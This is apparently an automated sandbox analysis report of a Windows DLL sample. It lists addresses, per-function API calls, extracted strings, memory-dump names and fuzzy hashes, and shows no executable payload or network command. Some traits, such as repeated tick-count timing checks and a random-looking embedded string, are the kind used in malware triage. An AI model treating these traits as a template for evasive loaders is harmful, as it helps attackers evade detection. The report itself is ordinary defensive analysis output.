0x6ebe1116
0x6ebe111d
0x6ebe1131
0x6ebe1136
0x6ebe113d
0x00000000
0x6ebe1143
0x6ebe1143
0x6ebe114b
0x6ebe1153
0x6ebe1155
0x6ebe115a
0x6ebe115d
0x6ebe1164
0x6ebe1169
0x6ebe1192
0x6ebe1195
0x6ebe1198
0x00000000
0x00000000
0x6ebe119a
0x6ebe119a
0x6ebe11a0
0x6ebe11a2
0x6ebe1235
0x6ebe123c
0x6ebe1241
0x00000000
0x6ebe11a8
0x6ebe11ab
0x6ebe11ad
0x6ebe11b5
0x6ebe11b8
0x6ebe11bb
0x6ebe11c2
0x6ebe11c5
0x6ebe11ca
0x6ebe11cd
0x6ebe11d0
0x6ebe11d3
0x6ebe11d6
0x6ebe11d6
0x6ebe1171
0x6ebe1175
0x6ebe117e
0x6ebe1180
0x6ebe1185
0x6ebe1188
0x6ebe118a
0x6ebe118d
0x6ebe1191
0x00000000
0x6ebe1191
0x00000000
0x6ebe11a2
0x6ebe11db
0x6ebe11e5
0x6ebe11f2
0x6ebe11fa
0x6ebe11fe
0x6ebe120b
0x6ebe120b
0x6ebe121b
0x6ebe1220
0x6ebe1223
0x6ebe1230
0x6ebe1230
0x6ebe111f
0x6ebe111f
0x6ebe1126
0x6ebe124a
0x6ebe124a
0x00000000
0x6ebe112c
0x6ebe112c
0x00000000
0x6ebe112c
0x6ebe1126
0x6ebe111d
0x6ebe10d6
0x6ebe10d6
0x6ebe10dd
0x6ebe1243
0x6ebe1243
0x6ebe124f
0x6ebe1254
0x6ebe1259
0x6ebe1264
0x6ebe126d
0x6ebe1283
0x6ebe10e3
0x6ebe10e3
0x00000000
0x6ebe10e3
0x6ebe10dd
0x00000000

APIs

GetProcessHeap.KERNEL32 ref: 6EBE10D6
HeapAlloc.KERNEL32(00820000,00000000,0000000F), ref: 6EBE10ED
GetProcessHeap.KERNEL32(00820000,00000000,0000000F), ref: 6EBE111F
HeapAlloc.KERNEL32(00820000,00000000,00000010,00820000,00000000,0000000F), ref: 6EBE1136
HeapFree.KERNEL32(00000000,?,00000000,00000010,00820000,00000000,0000000F), ref: 6EBE120B
HeapFree.KERNEL32(00000000,?,00000000,00000010,00820000,00000000,0000000F), ref: 6EBE121B

Strings

Control_RunDLL, xrefs: 6EBE114B
Control_RunDLL, xrefs: 6EBE1102

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocFreeProcess
String ID: Control_RunDLL$Control_RunDLL
API String ID: 2113670309-2490747307
Opcode ID: 95f3dfaa6cceb389db23a34ad715e8430165a67f740319a608ad6ff06de1bac2
Instruction ID: 39ea4207604d3c6fe9760f731eb672fb939ab75b6da92e114f6a9315dcee55af
Opcode Fuzzy Hash: 95f3dfaa6cceb389db23a34ad715e8430165a67f740319a608ad6ff06de1bac2
Instruction Fuzzy Hash: B8519B75D10649DFDB00CFE4CC80BEEBBB9FF89344F248529E8056B642D771A8458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFEF20, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6EBFEF57
___except_validate_context_record.LIBVCRUNTIME ref: 6EBFEF5F
_ValidateLocalCookies.LIBCMT ref: 6EBFEFE8
__IsNonwritableInCurrentImage.LIBCMT ref: 6EBFF013
_ValidateLocalCookies.LIBCMT ref: 6EBFF068

Strings

csm, xrefs: 6EBFEFFD

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: c0099106a3ded2c8ce5482a9f3f58954eeae6a97d2f684478e4d1bac9554bb94
Instruction ID: 44aea86af069157e49a0385525e9620877b45a7e709075d0644cb3ffeb9cac5c
Opcode Fuzzy Hash: c0099106a3ded2c8ce5482a9f3f58954eeae6a97d2f684478e4d1bac9554bb94
Instruction Fuzzy Hash: E3416334A10259EFDF00CFA8C850AEE7FB5FF45328F148555E8149B351E732AA1ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 6EBF2960, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6EC3E114), ref: 6EBF2994
TlsAlloc.KERNEL32 ref: 6EBF29AA
GetProcessHeap.KERNEL32 ref: 6EBF29C4
HeapAlloc.KERNEL32(00820000,00000000,0000000C), ref: 6EBF29DB
ReleaseSRWLockExclusive.KERNEL32(6EC3E114), ref: 6EBF2A18

Strings

assertion failed: key != c::TLS_OUT_OF_INDEXESC:nzjojbotqasycnkljdteylasxmjqphnrtuuxvfwvaplwzgzyritzjhhjbshfvmfwyjcjnfnfvmrvjottrwutfjgifoertqrccfhqlnovkbhlvalwmitqmxbhveuriecxxgeiiftdxvx, xrefs: 6EBF2A38

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocExclusiveHeapLock$AcquireProcessRelease
String ID: assertion failed: key != c::TLS_OUT_OF_INDEXESC:nzjojbotqasycnkljdteylasxmjqphnrtuuxvfwvaplwzgzyritzjhhjbshfvmfwyjcjnfnfvmrvjottrwutfjgifoertqrccfhqlnovkbhlvalwmitqmxbhveuriecxxgeiiftdxvx
API String ID: 3228198226-3009553730
Opcode ID: b524e011e6d6f240180864633c6cc23dbfbfb80bfff898c848abc3cca6dfa10b
Instruction ID: 7bcb68bfcde4fe26dbaa246fdcaeedb2c2ca2ec5a96b9852fba8f04a2ff2ba32
Opcode Fuzzy Hash: b524e011e6d6f240180864633c6cc23dbfbfb80bfff898c848abc3cca6dfa10b
Instruction Fuzzy Hash: AF4136B19003898FDB10CFE4D955B9EBFB4FF44318F104129E519AB281EB759949CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EC042BC, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6EC043C9,FFFDC801,00000400,?,00000000,00000001,?,6EC04542,00000021,FlsSetValue,6EC36BF8,6EC36C00,?), ref: 6EC0437D

Strings

ext-ms-, xrefs: 6EC04327
api-ms-, xrefs: 6EC04313

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: b7355ed263723e6d07c895400c110713553039338a27285c2e03856d2175bd49
Instruction ID: 7b9e9d6bfd615f0766d8a2ae9c96d86e4b4ecd88b3fa4b5c4063d348af05291b
Opcode Fuzzy Hash: b7355ed263723e6d07c895400c110713553039338a27285c2e03856d2175bd49
Instruction Fuzzy Hash: C221E736A40715AFDB219AA6CC44A8F777CFB92764F125114ED25A7384F732ED02C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFF3BF, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6EBFF101,6EBFCFA2,6EBFC7AC,?,6EBFC9E4,?,00000001,?,?,00000001,?,6EC3AFA8,0000000C,6EBFCADD), ref: 6EBFF3CD
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6EBFF3DB
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6EBFF3F4
SetLastError.KERNEL32(00000000,6EBFC9E4,?,00000001,?,?,00000001,?,6EC3AFA8,0000000C,6EBFCADD,?,00000001,?), ref: 6EBFF446

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 14b3658806959764c9ae364125936e9d11176e1317310d092bc61cabfb01da1b
Instruction ID: 6b17a1383ff2ba775bf6dc60d0031fd4dc3a26c8a1b0b76d71ac8124540c02a9
Opcode Fuzzy Hash: 14b3658806959764c9ae364125936e9d11176e1317310d092bc61cabfb01da1b
Instruction Fuzzy Hash: 1901243311CB229EEE702AF86D845863EB8EB467787300629E820401F1FF13581B9985

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFBE60, Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 6EBFC510: GetTickCount64.KERNEL32 ref: 6EBFC517

GetTickCount64.KERNEL32 ref: 6EBFBE96
GetTickCount64.KERNEL32 ref: 6EBFBEB4
GetTickCount64.KERNEL32 ref: 6EBFBECD
GetTickCount64.KERNEL32 ref: 6EBFBECF
GetTickCount64.KERNEL32 ref: 6EBFBED6
GetTickCount64.KERNEL32 ref: 6EBFBEF4

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Count64Tick
String ID:
API String ID: 1927824332-0
Opcode ID: 7cd56e64747b940c9bce7c273b402243a3bdb3403df0fd664d5f9471d0c2a0ff
Instruction ID: d78dbac524f1eb11558b07ec01840f9d386ef53561b97e80d3103e62d79d4814
Opcode Fuzzy Hash: 7cd56e64747b940c9bce7c273b402243a3bdb3403df0fd664d5f9471d0c2a0ff
Instruction Fuzzy Hash: 7A019223C30E58CDD213B979A89254AAABD5FD73E0B25CB13D00636146FF9014E78691

Uniqueness

Uniqueness Score: -1.00%

Function 6EBE6B40, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6EBE6C1B
__aulldiv.LIBCMT ref: 6EBE6C2B

Strings

'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EBE6B54
{invalid syntax}, xrefs: 6EBE6B84
_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool, xrefs: 6EBE6BAA, 6EBE6BE5

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem
String ID: 'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool${invalid syntax}
API String ID: 3839614884-2364648981
Opcode ID: 2e9374bd8ac1ecd15bc6ed2afb1151adaf6fbf0ab1a66f3a741dd373523896ff
Instruction ID: aa2059a8571d779d53304f9f4f8943bb3614fcf929d797a812176c5a90081298
Opcode Fuzzy Hash: 2e9374bd8ac1ecd15bc6ed2afb1151adaf6fbf0ab1a66f3a741dd373523896ff
Instruction Fuzzy Hash: 1A4189317282504BD3149BB8C84672EBAE8DF94784F10883DE989CF7D9E764C8818392

Uniqueness

Uniqueness Score: -1.00%

Function 6EBED000, Relevance: 8.8, APIs: 7, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000001,6EBEC746), ref: 6EBED00B
TlsGetValue.KERNEL32(00000000,00000001,6EBEC746), ref: 6EBED023
TlsGetValue.KERNEL32(00000000), ref: 6EBED043
TlsGetValue.KERNEL32(00000000), ref: 6EBED063
GetProcessHeap.KERNEL32 ref: 6EBED076
HeapAlloc.KERNEL32(00820000,00000000,0000000C), ref: 6EBED089
TlsSetValue.KERNEL32(00000000,00000000,00820000,00000000,0000000C), ref: 6EBED0B6

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$Heap$AllocProcess
String ID:
API String ID: 3559649508-0
Opcode ID: 3be408113f461f245ae1e84d49c223e5f22c3e1b47867e29d20b1a7ab98cd549
Instruction ID: 1419928333677be7f9f9968a00261f5f7177949f26ca00e6ef063869eba0d8cc
Opcode Fuzzy Hash: 3be408113f461f245ae1e84d49c223e5f22c3e1b47867e29d20b1a7ab98cd549
Instruction Fuzzy Hash: 9111EB70600293CBEB504BF1A974B653FB8DBC1B85F094C24E416CB642D7B6D8468F64

Uniqueness

Uniqueness Score: -1.00%

Function 6EC03571, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\SYSTEM32\loaddll32.exe, xrefs: 6EC0358D

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SYSTEM32\loaddll32.exe
API String ID: 0-1872383224
Opcode ID: 62aeee4cb91efd1334abcb38e0d1c14f8f6bdc5881564a1df4c4575ccc546b81
Instruction ID: f52df1fac21849edfdff37376e9b167397b10cbc4b6f91b2d47c6d66faea6bfe
Opcode Fuzzy Hash: 62aeee4cb91efd1334abcb38e0d1c14f8f6bdc5881564a1df4c4575ccc546b81
Instruction Fuzzy Hash: F8216271608605AFD7009FEEC848D8EB7BEFF45368B014929F9159B254FB33E9408790

Uniqueness

Uniqueness Score: -1.00%

Function 6EC00422, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6EC004E3,00000000,?,00000001,00000000,?,6EC0055A,00000001,FlsFree,6EC36184,FlsFree,00000000), ref: 6EC004B2

Strings

api-ms-, xrefs: 6EC00472

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: ac9868742ae2bd233bc9c18f6a6c4ef43de9ffa2adaa8b9e90bc53dea827e461
Instruction ID: cbbe7437e7bef40ccdc40c7e816756fea1454da9cec8f50a3c2c8b45b93a7519
Opcode Fuzzy Hash: ac9868742ae2bd233bc9c18f6a6c4ef43de9ffa2adaa8b9e90bc53dea827e461
Instruction Fuzzy Hash: 6311A732A44A25ABDB528FE98C4674933B4AF42774F120924FD25AB284F772ED0086DD

Uniqueness

Uniqueness Score: -1.00%

Function 6EC012ED, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,8C540910,00000000,?,00000000,6EC09B33,000000FF,?,6EC0127D,?,?,6EC01251,?), ref: 6EC01322
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6EC01334
FreeLibrary.KERNEL32(00000000,?,00000000,6EC09B33,000000FF,?,6EC0127D,?,?,6EC01251,?), ref: 6EC01356

Strings

mscoree.dll, xrefs: 6EC0131B
CorExitProcess, xrefs: 6EC0132C

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: af0b387f21818a564cc25033e61c01b511e7065a52a875a4e8285d8007a236fa
Instruction ID: ec08cbfa0c8d7339c46cdecdccc8e7307b297764e6df5b000f4d25632639d404
Opcode Fuzzy Hash: af0b387f21818a564cc25033e61c01b511e7065a52a875a4e8285d8007a236fa
Instruction Fuzzy Hash: AB01D632904969EFDF01CF94CD04FAEBBB8FB45714F004529F822A2780EB769904CA90

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC280, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EBEC285
GetProcAddress.KERNEL32(00000000,SetThreadDescription), ref: 6EBEC295

Strings

kernel32, xrefs: 6EBEC280
SetThreadDescription, xrefs: 6EBEC28F

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: SetThreadDescription$kernel32
API String ID: 1646373207-1950310818
Opcode ID: 8167525ac3bcf7fe39c3551488e07c38fd33ddf3e149d2983c02733d83080169
Instruction ID: 57e76bd97a320329ffcc076b5532e7fe9b24a75875cbe71e22b837b5675b186e
Opcode Fuzzy Hash: 8167525ac3bcf7fe39c3551488e07c38fd33ddf3e149d2983c02733d83080169
Instruction Fuzzy Hash: 6AB092B1650A5A6AAE606EF14A0DA5A3F38A9C1A453220448E827D9105FA268140A971

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC2E0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EBEC2E5
GetProcAddress.KERNEL32(00000000,NtReleaseKeyedEvent), ref: 6EBEC2F5

Strings

ntdll, xrefs: 6EBEC2E0
NtReleaseKeyedEvent, xrefs: 6EBEC2EF

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtReleaseKeyedEvent$ntdll
API String ID: 1646373207-31681898
Opcode ID: 1eb06ec922132d922671a08729160e6d8471a6967c4ba7e1a4af9130347c0faf
Instruction ID: 5941403e9091066a216d662ef3471c4b70cb5b66202434f4649a9f5c9d9c67b1
Opcode Fuzzy Hash: 1eb06ec922132d922671a08729160e6d8471a6967c4ba7e1a4af9130347c0faf
Instruction Fuzzy Hash: D3B092B1A0059A669E606AF14B0EA563E28AAC2A853120448E033E9500FA268100AD21

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC2C0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EBEC2C5
GetProcAddress.KERNEL32(00000000,NtWaitForKeyedEvent), ref: 6EBEC2D5

Strings

NtWaitForKeyedEvent, xrefs: 6EBEC2CF
ntdll, xrefs: 6EBEC2C0

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtWaitForKeyedEvent$ntdll
API String ID: 1646373207-2815205136
Opcode ID: cbf0a49c7d153e9fbf7073cf3faccf93111afb511bfa67c74384d0aef7709907
Instruction ID: 8d71aefa1dad6651be3492dd244c16612fbc5cacf5811f28374d8446ad84c074
Opcode Fuzzy Hash: cbf0a49c7d153e9fbf7073cf3faccf93111afb511bfa67c74384d0aef7709907
Instruction Fuzzy Hash: 7EB092B1A00A596AAE906AF14B0DA563E38AAC2A453520448E027D9500FA2681009D61

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC260, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EBEC265
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6EBEC275

Strings

kernel32, xrefs: 6EBEC260
GetSystemTimePreciseAsFileTime, xrefs: 6EBEC26F

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemTimePreciseAsFileTime$kernel32
API String ID: 1646373207-392834919
Opcode ID: ec041d135b7879b2495229fe75a2323a5b114c70ffef22246c745ceccb099a3c
Instruction ID: 5fa082ae18cdab52ccf13e2631cbaabf11fc0367f7a5332e6b2bb6c0a754e0a9
Opcode Fuzzy Hash: ec041d135b7879b2495229fe75a2323a5b114c70ffef22246c745ceccb099a3c
Instruction Fuzzy Hash: 8DB092B161095966AE606EF14B4DA9A3E38A9C2A493220548E523D9100FA26C180AD21

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC300, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EBEC305
GetProcAddress.KERNEL32(00000000,NtCreateKeyedEvent), ref: 6EBEC315

Strings

ntdll, xrefs: 6EBEC300
NtCreateKeyedEvent, xrefs: 6EBEC30F

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtCreateKeyedEvent$ntdll
API String ID: 1646373207-1373576770
Opcode ID: ed36040df1b01c840ea7187e772c79a41c8fe16c2648e9a92be57ab132ca5852
Instruction ID: 56fbfce5537565049734c473ce8b1feebe3f1d6a6dc4902a97896ed19ee9efa2
Opcode Fuzzy Hash: ed36040df1b01c840ea7187e772c79a41c8fe16c2648e9a92be57ab132ca5852
Instruction Fuzzy Hash: E6B092B1A005696A9E50AAF14B0DA663D28EA82B863524448E033D9102FA2681009D21

Uniqueness

Uniqueness Score: -1.00%

Function 6EC06749, Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(8C540910,?,00000000,?), ref: 6EC067AC

Part of subcall function 6EC04073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EC061E2,?,00000000,-00000008), ref: 6EC0411F

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6EC06A07
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6EC06A4F
GetLastError.KERNEL32 ref: 6EC06AF2

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 1f14039aa7032ec1d7accae7e8608bd600407932802f433b33edc07a012b3877
Instruction ID: b1a9973f1180fd4dbe84d40040085a3db4c423f02a77cf76b6185463e071f987
Opcode Fuzzy Hash: 1f14039aa7032ec1d7accae7e8608bd600407932802f433b33edc07a012b3877
Instruction Fuzzy Hash: A8D17A75D106599FCF01CFE8C880ADDBBB4FF49314F14852AE866AB641E731A992CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6EBF2470, Relevance: 6.2, APIs: 4, Instructions: 215COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,?,00000000,?,?,?), ref: 6EBF2601
